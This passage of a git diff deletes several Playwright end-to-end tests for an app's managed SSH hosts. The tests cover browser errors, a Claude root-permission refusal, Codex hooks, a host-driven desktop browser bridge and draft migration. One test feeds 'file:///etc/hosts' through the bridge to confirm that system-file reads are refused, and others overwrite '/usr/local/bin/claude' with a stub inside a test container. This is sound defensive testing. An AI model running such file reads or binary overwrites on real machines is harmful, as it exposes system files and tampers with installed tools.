creates the profile the relay-era host is saved into. - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await session.close(first.app) - app = null - const remote = seedRelayEraProfile( - session.userDataDir, - { - label: `orcad browser status E2E ${Date.now()}`, - host: target.host, - port: target.port, - username: 'root', - identityFile: target.identityFile, - identitiesOnly: true, - relayGracePeriodSeconds: 1 - }, - { repoPath: DOCKER_SSH_HOST_REMOTE_REPO_PATH, folderPath: '/tmp' } - ) - const launched = await session.launch() - app = launched.app - const page = launched.page - page.on('console', (message) => { - if (message.type() === 'warning' || message.type() === 'error') { - console.log('[browser-renderer]', message.text().slice(0, 1_000)) - } - }) - await waitForSessionReady(page) - cpSync(ORCAD_TEMPLATE!, template, { recursive: true }) - const server = await reconnect(page, remote.targetId) - console.log('[browser-conversion-connect]', server) - expect(JSON.parse(server)).toMatchObject({ kind: 'managed' }) - const environments = await page.evaluate(() => window.api.runtimeEnvironments.list()) - const environment = environments.find( - (entry) => getOrcadSshDeployment(entry)?.sshTargetId === remote.targetId - ) - if (!environment) { - throw new Error('Missing managed environment') - } - console.log('[browser-host-status]', await serverCall(page, environment.id, 'status.get')) - await expect - .poll( - () => - page.evaluate((worktreeId) => { - const state = window.__store?.getState() - return ( - state?.repos.find((repo) => - (state.worktreesByRepo[repo.id] ?? []).some( - (worktree) => worktree.id === worktreeId - ) - )?.executionHostId ?? null - ) - }, remote.worktreeId), - { timeout: 60_000 } - ) - .toMatch(/^runtime:/) - // A browser placed on the managed host, which has no browser backend. - const remoteTabId = await page.evaluate( - ({ worktreeId, environmentId, url }) => { - const state = window.__store?.getState() - const repo = state?.repos.find((repo) => - (state.worktreesByRepo[repo.id] ?? []).some((worktree) => worktree.id === worktreeId) - ) - if (!state || !repo?.executionHostId) { - throw new Error('Missing converted workspace') - } - state.setActiveWorktree(worktreeId, repo.executionHostId) - const tab = state.createBrowserTab(worktreeId, url, { - title: 'Managed host browser', - activate: true, - browserRuntimeEnvironmentId: environmentId - }) - if (tab.activePageId) { - state.focusBrowserTabInWorktree(worktreeId, tab.activePageId, { surfacePane: true }) - } - return tab.id - }, - { - worktreeId: remote.worktreeId, - environmentId: environment.id, - url: `${SSH_REMOTE_ONLY_ORIGIN}/login` - } - ) - const notice = page.getByTestId('remote-browser-stream-error') - await expect(notice).toBeVisible({ timeout: 30_000 }) - await page.screenshot({ path: testInfo.outputPath('browser-service-status.png') }) - console.log('[browser-service-notice]', await notice.innerText()) - const browserReply = await page.evaluate( - (environmentId) => - window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'browser.tabList', - params: {} - }), - environment.id - ) - expect(browserReply).toMatchObject({ ok: false, error: { code: 'browser_unavailable' } }) - console.log('[browser-service-refusal]', JSON.stringify(browserReply)) - const catalog = JSON.parse(await serverCall(page, environment.id, 'repo.list')) - console.log('[browser-service-responsive-host]', JSON.stringify(catalog)) - expect(catalog).toMatchObject({ - ok: true, - result: { repos: expect.arrayContaining([expect.objectContaining({ id: remote.repoId })]) } - }) - await expect(notice).toContainText( - 'The remote browser is unavailable. Check its setup on the server.' - ) - await expect(notice).not.toContainText('Cannot reach the remote server.') - // Why: the managed host can mirror a terminal it seeds for this workspace, taking focus. - await expect(async () => { - await page.evaluate( - ({ worktreeId, tabId }) => { - const state = window.__store?.getState() - const pageId = state?.browserTabsByWorktree[worktreeId]?.find( - (tab) => tab.id === tabId - )?.activePageId - if (pageId) { - state?.focusBrowserTabInWorktree(worktreeId, pageId, { surfacePane: true }) - } - }, - { worktreeId: remote.worktreeId, tabId: remoteTabId } - ) - await notice.getByRole('button', { name: 'Reconnect', exact: true }).click({ timeout: 2_000 }) - await expect(notice).toContainText( - 'The remote browser is unavailable. Check its setup on the server.', - { timeout: 2_000 } - ) - }).toPass({ timeout: 30_000 }) - console.log('[browser-service-after-retry]', await notice.innerText()) - expect(JSON.parse(await serverCall(page, environment.id, 'repo.list'))).toMatchObject({ - ok: true, - result: { repos: expect.arrayContaining([expect.objectContaining({ id: remote.repoId })]) } - }) - } finally { - if (app) { - await session.close(app) - } - await session.dispose() - cleanupDockerSshHostTarget(target) - rmSync(scratch, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/ssh-orcad-claude-chat-start-failure.spec.ts b/tests/e2e/ssh-orcad-claude-chat-start-failure.spec.ts deleted file mode 100644 index cba68858ba2..00000000000 --- a/tests/e2e/ssh-orcad-claude-chat-start-failure.spec.ts +++ /dev/null @@ -1,84 +0,0 @@ -// A Claude chat on a managed SSH host whose CLI refuses to start says why, not only that it stopped. -import { readFileSync } from 'node:fs' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { callEnvironment } from './helpers/paired-host-terminal' -import { - launchManagedWorkspace, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') - -const STUB = readFileSync( - path.join(process.cwd(), 'tests', 'e2e', 'fixtures', 'structured-claude-stub.cjs') -) -const ROOT_REFUSAL = - '--dangerously-skip-permissions cannot be used with root/sudo privileges for security reasons' - -// The Docker host's SSH user is root, and Claude Code refuses Full access as root this way. -const WRAPPER = `#!/bin/sh -for arg in "$@"; do - if [ "$arg" = "--dangerously-skip-permissions" ] && [ "$(id -u)" = 0 ]; then - echo "${ROOT_REFUSAL}" >&2 - exit 1 - fi -done -exec /usr/local/bin/node /usr/local/lib/orca-e2e-claude-stub.cjs /tmp/orca-e2e-claude-launches.jsonl "$@" -` - -test('a Claude chat that Claude refuses to start as root names the reason', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - // Converting the Docker host to a managed server takes minutes before the chat opens. - test.setTimeout(10 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const exec = fixture.host.exec - if (!exec) { - throw new Error('the Docker host runs commands as its SSH user') - } - exec( - `echo ${STUB.toString('base64')} | base64 -d > /usr/local/lib/orca-e2e-claude-stub.cjs && ` + - `echo ${Buffer.from(WRAPPER).toString('base64')} | base64 -d > /usr/local/bin/claude && ` + - 'chmod 755 /usr/local/bin/claude' - ) - const { page, environmentId } = await launchManagedWorkspace(fixture) - await page.evaluate(async () => { - await window.__store?.getState().updateSettings({ - nativeChatProviders: { claude: true, codex: true }, - defaultTuiAgent: 'claude', - claudeCodeThemeSyncOffer: 'settled' - }) - }) - await page.getByRole('button', { name: 'New tab', exact: true }).first().click() - await page.getByText('Claude', { exact: true }).first().click({ timeout: 60_000 }) - const chat = page.locator('[data-native-chat-root="true"]') - await expect(chat).toBeVisible({ timeout: 60_000 }) - const composer = chat.getByRole('textbox') - await composer.click() - await page.keyboard.type('hello') - await chat.getByRole('button', { name: 'Send', exact: true }).click() - await expect(chat).toContainText("Claude won't use Full access while it runs as root.", { - timeout: 120_000 - }) - // Claude's own words sit behind Details on the start-failure row. - await chat.getByText('Details', { exact: true }).first().click() - await expect(chat).toContainText(ROOT_REFUSAL) - await page.screenshot({ path: testInfo.outputPath('claude-root-start-failure.png') }) - - // The sentence's next step works: with another permission on that host, a new chat starts Claude. - await callEnvironment(page, environmentId, 'settings.mutateAgentLaunch', { - type: 'permission', - choice: 'ask', - agent: 'claude' - }) - await page.getByRole('button', { name: 'New tab', exact: true }).first().click() - await page.getByText('Claude', { exact: true }).first().click({ timeout: 60_000 }) - const next = page.locator('[data-native-chat-root="true"]').last() - await next.getByRole('textbox').click() - await page.keyboard.type('again') - await next.getByRole('button', { name: 'Send', exact: true }).click() - await expect(next.getByText('Stub reply.')).toBeVisible({ timeout: 120_000 }) - }) -}) diff --git a/tests/e2e/ssh-orcad-codex-question-skip.spec.ts b/tests/e2e/ssh-orcad-codex-question-skip.spec.ts deleted file mode 100644 index 39855ddcb23..00000000000 --- a/tests/e2e/ssh-orcad-codex-question-skip.spec.ts +++ /dev/null @@ -1,77 +0,0 @@ -// A Codex async question skipped (Ctrl+]) in a managed SSH terminal clears on the desktop: orcad on -// the host tracks the question, so the desktop must hand the keystroke to it. -import { expect, test } from './helpers/orca-app' -import { - echoMarker, - launchManagedWorkspace, - openTerminalTab, - skipUnlessManagedDockerHost, - typeInTerminal, - withManagedHost -} from './helpers/orcad-managed-workspace' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') - -function postCodexHook(payload: Record): string { - return [ - 'curl -sS -X POST "http://127.0.0.1:${ORCA_AGENT_HOOK_PORT}/hook/codex"', - '-H "X-Orca-Agent-Hook-Token: ${ORCA_AGENT_HOOK_TOKEN}"', - '--data-urlencode "paneKey=${ORCA_PANE_KEY}" --data-urlencode "tabId=${ORCA_TAB_ID}"', - '--data-urlencode "worktreeId=${ORCA_WORKTREE_ID}" --data-urlencode "env=${ORCA_AGENT_HOOK_ENV}"', - '--data-urlencode "version=${ORCA_AGENT_HOOK_VERSION}"', - `--data-urlencode ${quotePosixShell(`payload=${JSON.stringify(payload)}`)} >>/tmp/orca-hook.log 2>&1` - ].join(' ') -} - -test('skipping a Codex async question in a managed SSH terminal clears its waiting row', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - // Provisions a Docker SSH host and deploys orcad before the app launches. - test.setTimeout(10 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { page, seeded } = await launchManagedWorkspace(fixture) - const tabId = await openTerminalTab(page, seeded.worktreeId) - await echoMarker(page, tabId, 'SKIP_READY') - const prompt = `orca codex skip ${Date.now()}` - const ask = { - hook_event_name: 'PreToolUse', - turn_id: 'turn-1', - tool_name: 'request_user_input_async', - tool_use_id: 'call_1', - tool_input: { questions: [{ title: 'Which database?', options: ['Postgres', 'SQLite'] }] } - } - // Backgrounded: a foreground post ends the shell command, which rightly clears the turn. - await typeInTerminal( - page, - tabId, - `( sleep 0.2; ${[ - postCodexHook({ hook_event_name: 'UserPromptSubmit', turn_id: 'turn-1', prompt }), - postCodexHook(ask), - postCodexHook({ - ...ask, - hook_event_name: 'PostToolUse', - tool_response: '{"accepted":true}' - }) - ].join('; ')} ) &` - ) - const rowState = () => - page.evaluate( - (prompt) => - Array.from(window.__store?.getState().agentStatusByPaneKey?.values() ?? []).find( - (entry) => entry.prompt === prompt && entry.agentType === 'codex' - )?.state ?? null, - prompt - ) - await expect - .poll(rowState, { timeout: 30_000, message: 'the open question never reached the desktop' }) - .toBe('waiting') - - // Codex's TUI drops the question on Ctrl+] and reports nothing; only the keystroke tells. - await page.keyboard.press('Control+BracketRight') - await expect - .poll(rowState, { timeout: 30_000, message: 'the skipped question stayed pending' }) - .toBe('working') - await page.screenshot({ path: testInfo.outputPath('codex-question-skipped.png') }) - }) -}) diff --git a/tests/e2e/ssh-orcad-desktop-browser-bridge.spec.ts b/tests/e2e/ssh-orcad-desktop-browser-bridge.spec.ts deleted file mode 100644 index 05925cfe8a2..00000000000 --- a/tests/e2e/ssh-orcad-desktop-browser-bridge.spec.ts +++ /dev/null @@ -1,238 +0,0 @@ -// #29145: the managed SSH host’s real CLI may create/navigate/open desktop browser tabs only while its control setting is enabled. -// Require remote-only origin egress through the host and immediate named refusal when the setting turns off. -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { z } from 'zod' -import { expect, forwardElectronProcessLogs, test } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { waitForSessionReady } from './helpers/store' -import { - cleanupDockerSshHostTarget, - DOCKER_SSH_HOST_REMOTE_REPO_PATH, - execDockerSshHostTargetCommand, - startDockerSshHostTarget, - type DockerSshHostTarget -} from './helpers/docker-ssh-host-target' -import { seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { - readSshRemoteOnlyRequests, - SSH_REMOTE_ONLY_ORIGIN, - startSshRemoteOnlyBrowserFixture -} from './helpers/ssh-remote-only-browser-fixture' -import { convertAndRetain } from './helpers/orcad-convert-flow' -import { - activateManagedWorkspace, - expectPaneText, - managedEnvironmentId, - openTerminalTab, - ORCAD_TEMPLATE, - skipUnlessManagedDockerHost, - typeInTerminal -} from './helpers/orcad-managed-workspace' -import { DESKTOP_BROWSER_BRIDGE_SETTING_LABEL } from '../../src/shared/browser/client-hosting/desktop-browser-bridge-protocol' - -skipUnlessManagedDockerHost() - -const CliResult = z.object({ - ok: z.boolean(), - result: z.record(z.string(), z.unknown()).optional(), - error: z.object({ code: z.string(), message: z.string() }).optional() -}) -type CliResult = z.infer - -let step = 0 - -/** Runs an `orca` command in the host's terminal, as an agent there would, and reads its JSON. */ -async function hostCli( - page: Page, - target: DockerSshHostTarget, - tabId: string, - command: string -): Promise { - step += 1 - const out = `/tmp/bridge-cli-${step}.json` - const marker = `BRIDGE_${step}_DONE` - // Split so the typed line never contains the marker the wait looks for. - await typeInTerminal( - page, - tabId, - `${command} --json > ${out} 2>&1; printf '%s_%s\\n' BRIDGE_${step} DONE` - ) - await expectPaneText(page, tabId, marker, 90_000) - return CliResult.parse(JSON.parse(execDockerSshHostTargetCommand(target, `cat ${out}`))) -} - -/** Retries until the desktop has attached its bridge, since the attach follows the setting change. */ -async function hostCliUntilOk( - page: Page, - target: DockerSshHostTarget, - tabId: string, - command: string -): Promise { - const results: CliResult[] = [] - try { - await expect - .poll( - async () => { - const result = await hostCli(page, target, tabId, command) - results.push(result) - return result.ok - }, - { timeout: 120_000, intervals: [2_000], message: 'the host CLI never reached the desktop' } - ) - .toBe(true) - } catch (error) { - throw new Error(`${String(error)}\nlast CLI result: ${JSON.stringify(results.at(-1))}`) - } - return results.at(-1)! -} - -function setRemoteCliControl(page: Page, targetId: string, enabled: boolean): Promise { - return page.evaluate( - ({ targetId, enabled }) => - window.api.ssh.updateTarget({ id: targetId, updates: { allowRemoteCliControl: enabled } }), - { targetId, enabled } - ) -} - -function browserTabUrls(page: Page, worktreeId: string): Promise { - return page.evaluate((id) => { - const state = window.__store?.getState() - return (state?.browserTabsByWorktree[id] ?? []).flatMap((tab) => - (state?.browserPagesByWorkspace[tab.id] ?? []).map((entry) => entry.url) - ) - }, worktreeId) -} - -test('a managed SSH host drives the desktop browser by default until its CLI control setting is turned off', async (// oxlint-disable-next-line no-empty-pattern -- Owns app launch. -{}, testInfo) => { - test.setTimeout(8 * 60_000) - const target = startDockerSshHostTarget(testInfo) - const session = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: ORCAD_TEMPLATE! }) - let app: ElectronApplication | null = null - try { - startSshRemoteOnlyBrowserFixture(target) - // The first launch only creates the profile the SSH host is saved into. - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await session.close(first.app) - app = null - const seeded = seedRelayEraProfile( - session.userDataDir, - { - label: `desktop browser bridge E2E ${Date.now()}`, - host: target.host, - port: target.port, - username: 'root', - identityFile: target.identityFile, - identitiesOnly: true, - relayGracePeriodSeconds: 1 - }, - { repoPath: DOCKER_SSH_HOST_REMOTE_REPO_PATH, folderPath: '/tmp' } - ) - const launched = await session.launch() - app = launched.app - forwardElectronProcessLogs(app, testInfo) - const page = launched.page - await waitForSessionReady(page) - await convertAndRetain(page, session.userDataDir, seeded) - const environmentId = await managedEnvironmentId(page, seeded.targetId) - await activateManagedWorkspace(page, seeded.worktreeId, environmentId) - const tabId = await openTerminalTab(page, seeded.worktreeId) - - // No saved value: on by default. - const createdUrl = `${SSH_REMOTE_ONLY_ORIGIN}/echo/bridge-created` - const created = await hostCliUntilOk(page, target, tabId, `orca tab create --url ${createdUrl}`) - const browserPageId = String(created.result?.browserPageId ?? '') - expect(browserPageId).not.toBe('') - await expect - .poll(() => browserTabUrls(page, seeded.worktreeId), { timeout: 30_000 }) - .toContain(createdUrl) - // Only the SSH host resolves this origin, so the request proves the desktop page egressed there. - await expect - .poll(() => readSshRemoteOnlyRequests(target).map((request) => request.path), { - timeout: 60_000, - message: 'the desktop tab the host opened never loaded through the host' - }) - .toContain('/echo/bridge-created') - // Like an agent: navigate the tab it opened, then read it back. - const navigatedUrl = `${SSH_REMOTE_ONLY_ORIGIN}/echo/bridge-navigated` - await hostCliUntilOk( - page, - target, - tabId, - `orca goto --url ${navigatedUrl} --page ${browserPageId}` - ) - await expect - .poll(() => readSshRemoteOnlyRequests(target).map((request) => request.path), { - timeout: 60_000, - message: 'the desktop tab the host drove never loaded through the host' - }) - .toContain('/echo/bridge-navigated') - const snapshot = await hostCliUntilOk( - page, - target, - tabId, - `orca snapshot --page ${browserPageId}` - ) - expect(JSON.stringify(snapshot.result)).toContain('cookie:') - const listed = await hostCli(page, target, tabId, 'orca tab list') - expect(listed.ok).toBe(true) - expect(JSON.stringify(listed.result)).toContain(browserPageId) - // `orca open-url` reaches the desktop the same way, as a tab in the host's workspace. - const openedUrl = `${SSH_REMOTE_ONLY_ORIGIN}/echo/bridge-open-url` - const opened = await hostCliUntilOk(page, target, tabId, `orca open-url --url ${openedUrl}`) - const openedPageId = String(opened.result?.browserPageId ?? '') - expect(openedPageId).not.toBe('') - await expect - .poll(() => browserTabUrls(page, seeded.worktreeId), { timeout: 30_000 }) - .toContain(openedUrl) - await expect - .poll(() => readSshRemoteOnlyRequests(target).map((request) => request.path), { - timeout: 60_000, - message: 'the desktop tab open-url opened never loaded through the host' - }) - .toContain('/echo/bridge-open-url') - expect((await hostCli(page, target, tabId, `orca tab close --page ${openedPageId}`)).ok).toBe( - true - ) - await page.screenshot({ path: testInfo.outputPath('desktop-browser-bridge-on.png') }) - // A desktop file is never reachable, even through a tab the host may drive. - const fileRead = await hostCli( - page, - target, - tabId, - `orca goto --url file:///etc/hosts --page ${browserPageId}` - ) - expect(fileRead.error?.code).toBe('invalid_argument') - const closed = await hostCli(page, target, tabId, `orca tab close --page ${browserPageId}`) - expect(closed.ok).toBe(true) - await expect - .poll(() => browserTabUrls(page, seeded.worktreeId), { timeout: 30_000 }) - .not.toContain(navigatedUrl) - - // Explicitly off: the bridge detaches at once and the host is refused with the setting's name. - await setRemoteCliControl(page, seeded.targetId, false) - await expect - .poll(async () => (await hostCli(page, target, tabId, 'orca tab list')).error?.code ?? 'ok', { - timeout: 60_000, - intervals: [1_000] - }) - .toBe('desktop_browser_bridge_unavailable') - const refused = await hostCli(page, target, tabId, 'orca tab list') - expect(refused.error?.message).toContain(DESKTOP_BROWSER_BRIDGE_SETTING_LABEL) - // open-url names the same setting, not a desktop that is "offline". - const openRefused = await hostCli(page, target, tabId, `orca open-url --url ${openedUrl}`) - expect(openRefused.error?.code).toBe('desktop_browser_bridge_unavailable') - expect(openRefused.error?.message).toContain(DESKTOP_BROWSER_BRIDGE_SETTING_LABEL) - } finally { - try { - if (app) { - await session.close(app) - } - await session.dispose() - } finally { - cleanupDockerSshHostTarget(target) - } - } -}) diff --git a/tests/e2e/ssh-orcad-editor-drafts-migration.spec.ts b/tests/e2e/ssh-orcad-editor-drafts-migration.spec.ts deleted file mode 100644 index b4424b760bc..00000000000 --- a/tests/e2e/ssh-orcad-editor-drafts-migration.spec.ts +++ /dev/null @@ -1,212 +0,0 @@ -// S10: preserve exact desktop-only drafts through relay→managed conversion, reconnect and restart; no draft bytes may enter the host profile. -import { createHash } from 'node:crypto' -import { mkdirSync, mkdtempSync, readdirSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - activateManagedWorkspace, - launchManagedWorkspace, - managedEnvironmentId, - relaunchManagedApp, - skipUnlessManagedDockerHost, - withManagedHost, - type ManagedHostFixture -} from './helpers/orcad-managed-workspace' -import { reconnect } from './helpers/orcad-convert-flow' -import { readPersistedProfileState } from './helpers/persisted-profile-state' - -skipUnlessManagedDockerHost() - -// A large markdown file opens in the source editor instead of the rich one. -const VISIBLE_EDITOR = '.rich-markdown-editor, .monaco-editor .view-lines' - -type EditorVerdict = 'present' | 'dirty-only' | 'absent' -type HostVerdict = { verdict: 'present' | 'mismatch' | 'absent'; where: string[] } - -function draftOf(marker: string, bytes: number): string { - const lines: string[] = [] - let length = 0 - for (let line = 0; length < bytes; line += 1) { - const text = `${marker} unsaved line ${line}\n` - lines.push(text) - length += text.length - } - return lines.join('').slice(0, bytes) -} - -function sha256(text: string): string { - return createHash('sha256').update(text, 'utf8').digest('hex') -} - -/** Every string in `value` equal to, or carrying, the draft, by JSON path. */ -function findDraft(value: unknown, draft: string, marker: string): HostVerdict { - const exact: string[] = [] - const partial: string[] = [] - const walk = (node: unknown, at: string): void => { - if (typeof node === 'string') { - if (node === draft) { - exact.push(at) - } else if (node.includes(marker)) { - partial.push(`${at} (${node.length} chars)`) - } - return - } - if (Array.isArray(node)) { - node.forEach((child, index) => walk(child, `${at}[${index}]`)) - return - } - if (node && typeof node === 'object') { - for (const [key, child] of Object.entries(node)) { - walk(child, at ? `${at}.${key}` : key) - } - } - } - walk(value, '') - if (exact.length > 0) { - return { verdict: 'present', where: exact } - } - return partial.length > 0 - ? { verdict: 'mismatch', where: partial } - : { verdict: 'absent', where: [] } -} - -/** The managed server's committed profile, copied off the host so it is read as stored. */ -function readHostProfiles(fixture: ManagedHostFixture): Record[] { - const { host } = fixture - const databases = host.exec!( - `find / -xdev -name profile-state.db -path '*/profiles/*' 2>/dev/null || true` - ) - .split('\n') - .map((line) => line.trim()) - .filter(Boolean) - const states: Record[] = [] - for (const database of databases) { - const profileDir = path.posix.dirname(database) - const profileId = path.posix.basename(profileDir) - const local = mkdtempSync(path.join(tmpdir(), 'orca-s10d-host-')) - try { - const profilesDir = path.join(local, 'profiles') - mkdirSync(profilesDir, { recursive: true }) - // The directory carries the WAL beside the database: committed rows may still sit there. - host.copyFromHost!(profileDir, profilesDir) - if (readdirSync(path.join(profilesDir, profileId)).includes('profile-state.db')) { - states.push(readPersistedProfileState(local, profileId)) - } - } finally { - rmSync(local, { recursive: true, force: true }) - } - } - return states -} - -async function readEditorVerdict( - page: Page, - filePath: string, - draft: string -): Promise<{ verdict: EditorVerdict; detail: string }> { - const seen = await page.evaluate( - ({ filePath }) => { - const state = window.__store?.getState() - const files = (state?.openFiles ?? []).filter((file) => file.filePath === filePath) - return files.map((file) => ({ - id: file.id, - worktreeId: file.worktreeId, - isDirty: file.isDirty, - draft: state?.editorDrafts[file.id] ?? null - })) - }, - { filePath } - ) - const detail = JSON.stringify( - seen.map(({ draft: content, ...rest }) => ({ - ...rest, - draftChars: content?.length ?? null, - draftSha: content === null ? null : sha256(content) - })) - ) - if (seen.some((file) => file.draft === draft)) { - return { verdict: 'present', detail } - } - return { verdict: seen.some((file) => file.isDirty) ? 'dirty-only' : 'absent', detail } -} - -function record(testInfo: TestInfo, label: string, line: string): void { - console.log(`S10D-LIVE ${label} ${line}`) - testInfo.annotations.push({ type: 'S10D-LIVE', description: `${label} ${line}` }) -} - -for (const { label, bytes } of [ - // Well inside the 768 KiB signed manifest. - { label: 'inline', bytes: 2 * 1024 }, - // Over the 768 KiB manifest budget, which an inline draft used to overflow. - { label: 'large', bytes: 2 * 1024 * 1024 } -]) { - test(`an unsaved ${label} editor draft survives conversion to a managed server`, async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. - {}, testInfo) => { - test.setTimeout(14 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const marker = `S10D_${label.toUpperCase()}_${Date.now()}` - const draft = draftOf(marker, bytes) - const { page, seeded } = await launchManagedWorkspace(fixture, { - seed: { draftContent: draft } - }) - // A further reconnect: what the editor sees once the converted host is reached again. - await reconnect(page, seeded.targetId) - // The editor may hydrate the moved tab a moment after the reconnect settles. - let editor = await readEditorVerdict(page, seeded.sessionFilePath, draft) - await expect - .poll( - async () => { - editor = await readEditorVerdict(page, seeded.sessionFilePath, draft) - return editor.verdict - }, - { timeout: 30_000 } - ) - .toBe('present') - .catch(() => {}) - await expect(page.locator(VISIBLE_EDITOR).first()).toContainText(`${marker} unsaved line 0`, { - timeout: 60_000 - }) - // A restart reads the draft back from this desktop's own record, now named for the server. - const environmentId = await managedEnvironmentId(page, seeded.targetId) - const restarted = await relaunchManagedApp(fixture) - await activateManagedWorkspace(restarted, seeded.worktreeId, environmentId) - let restored = await readEditorVerdict(restarted, seeded.sessionFilePath, draft) - await expect - .poll( - async () => { - restored = await readEditorVerdict(restarted, seeded.sessionFilePath, draft) - return restored.verdict - }, - { timeout: 30_000 } - ) - .toBe('present') - .catch(() => {}) - await expect(restarted.locator(VISIBLE_EDITOR).first()).toContainText( - `${marker} unsaved line 0`, - { timeout: 60_000 } - ) - const profiles = readHostProfiles(fixture) - expect(profiles.length, 'no committed server profile was read').toBeGreaterThan(0) - const found = profiles.map((state) => findDraft(state, draft, marker)) - const host: HostVerdict = found.find((entry) => entry.verdict !== 'absent') ?? { - verdict: 'absent', - where: [] - } - record( - testInfo, - label, - `bytes=${draft.length} sha=${sha256(draft)} editor=${editor.verdict} ` + - `restarted=${restored.verdict} host=${host.verdict} ` + - `hostAt=${JSON.stringify(host.where)} editorFiles=${editor.detail}` - ) - await restarted.screenshot({ path: testInfo.outputPath(`editor-draft-${label}.png`) }) - // Asserted after the record, so a miss still says where the draft did and did not go. - expect(editor.verdict, `the desktop lost the ${label} draft`).toBe('present') - expect(restored.verdict, `a restart lost the ${label} draft`).toBe('present') - expect(host.verdict, `the ${label} draft left this desktop`).toBe('absent') - }) - }) -} diff --git a/tests/e2e/ssh-orcad-editor-ownership.spec.ts b/tests/e2e/ssh-orcad-editor-ownership.spec.ts deleted file mode 100644 index 38d0f8c290a..00000000000 --- a/tests/e2e/ssh-orcad-editor-ownership.spec.ts +++ /dev/null @@ -1,99 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { serverCall } from './helpers/orcad-convert-flow' -import { - activateManagedWorkspace, - launchManagedWorkspace, - relaunchManagedApp, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() - -async function reportEditorRecords(page: Page, worktreeId: string): Promise { - page.on('console', (message) => { - if (message.text().startsWith('[editor-records]')) { - console.log(message.text()) - } - }) - await page.evaluate((worktreeId) => { - const store = window.__store - if (!store) { - throw new Error('Missing renderer store') - } - const report = (state: ReturnType) => { - console.log( - '[editor-records]', - JSON.stringify({ - files: state.openFiles.filter((file) => file.worktreeId === worktreeId), - tabs: state.unifiedTabsByWorktree[worktreeId], - activeHost: state.activeWorkspaceExecutionHostId, - trace: new Error('Editor file mutation').stack - }) - ) - } - report(store.getState()) - store.subscribe((state, previous) => { - if (state.openFiles !== previous.openFiles) { - report(state) - } - }) - }, worktreeId) -} - -test('converted editor has one file record per document', async (// oxlint-disable-next-line no-empty-pattern -- This exercise owns its app launch. -{}, testInfo) => { - test.setTimeout(4 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - const marker = `REMOTE_MARKDOWN_${Date.now()}` - host.exec!( - `printf '# ${marker}\n\nHost-owned Markdown.\n' > '${host.remoteRepoPath}/README.md'` - ) - const { page, seeded, environmentId } = await launchManagedWorkspace(fixture, { - onLaunch: (page, seeded) => reportEditorRecords(page, seeded.worktreeId) - }) - await expect(page.locator('.rich-markdown-editor')).toContainText(marker, { timeout: 30_000 }) - console.log( - '[host-tabs]', - await serverCall(page, environmentId, 'session.tabs.list', { - worktree: `id:${seeded.worktreeId}` - }) - ) - const files = await page.evaluate( - (worktreeId) => - window.__store?.getState().openFiles.filter((file) => file.worktreeId === worktreeId), - seeded.worktreeId - ) - console.log('[final-editor-files]', JSON.stringify(files)) - await page.screenshot({ path: testInfo.outputPath('editor-records.png') }) - expect(files?.filter((file) => file.filePath === seeded.sessionFilePath)).toHaveLength(1) - const savedMarker = `SAVED_${marker}` - const editor = page.locator('.rich-markdown-editor[contenteditable="true"]') - await editor.click() - await editor.press(process.platform === 'darwin' ? 'Meta+End' : 'Control+End') - await editor.press('Enter') - await page.keyboard.insertText(savedMarker) - await editor.press(process.platform === 'darwin' ? 'Meta+s' : 'Control+s') - await expect - .poll(() => host.exec!(`cat '${seeded.sessionFilePath}'`), { timeout: 30_000 }) - .toContain(savedMarker) - console.log('[saved-on-host]', host.exec!(`cat '${seeded.sessionFilePath}'`)) - const restarted = await relaunchManagedApp(fixture) - await activateManagedWorkspace(restarted, seeded.worktreeId, environmentId) - await expect(restarted.locator('.rich-markdown-editor')).toContainText(savedMarker, { - timeout: 30_000 - }) - const restoredFiles = await restarted.evaluate( - (worktreeId) => - window.__store?.getState().openFiles.filter((file) => file.worktreeId === worktreeId), - seeded.worktreeId - ) - console.log('[restored-editor-files]', JSON.stringify(restoredFiles)) - expect(restoredFiles?.filter((file) => file.filePath === seeded.sessionFilePath)).toHaveLength( - 1 - ) - await restarted.screenshot({ path: testInfo.outputPath('editor-restored.png') }) - }) -}) diff --git a/tests/e2e/ssh-orcad-enabled-automation-move.spec.ts b/tests/e2e/ssh-orcad-enabled-automation-move.spec.ts deleted file mode 100644 index 038b5b5fd80..00000000000 --- a/tests/e2e/ssh-orcad-enabled-automation-move.spec.ts +++ /dev/null @@ -1,158 +0,0 @@ -// #29083: an enabled SSH automation moves with its host and keeps running on the host's server. -// ORCA_E2E_ORCAD_CONVERT_HOST=docker; ORCA_E2E_ORCAD_CONVERT_TEMPLATE must be built for the Docker host. -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { - mutateStoppedProfileState, - readPersistedProfileState -} from './helpers/persisted-profile-state' -import { openSshHostSettings } from './helpers/ssh-config-host-picker' -import { managedServer, serverCall } from './helpers/orcad-convert-flow' -import { - 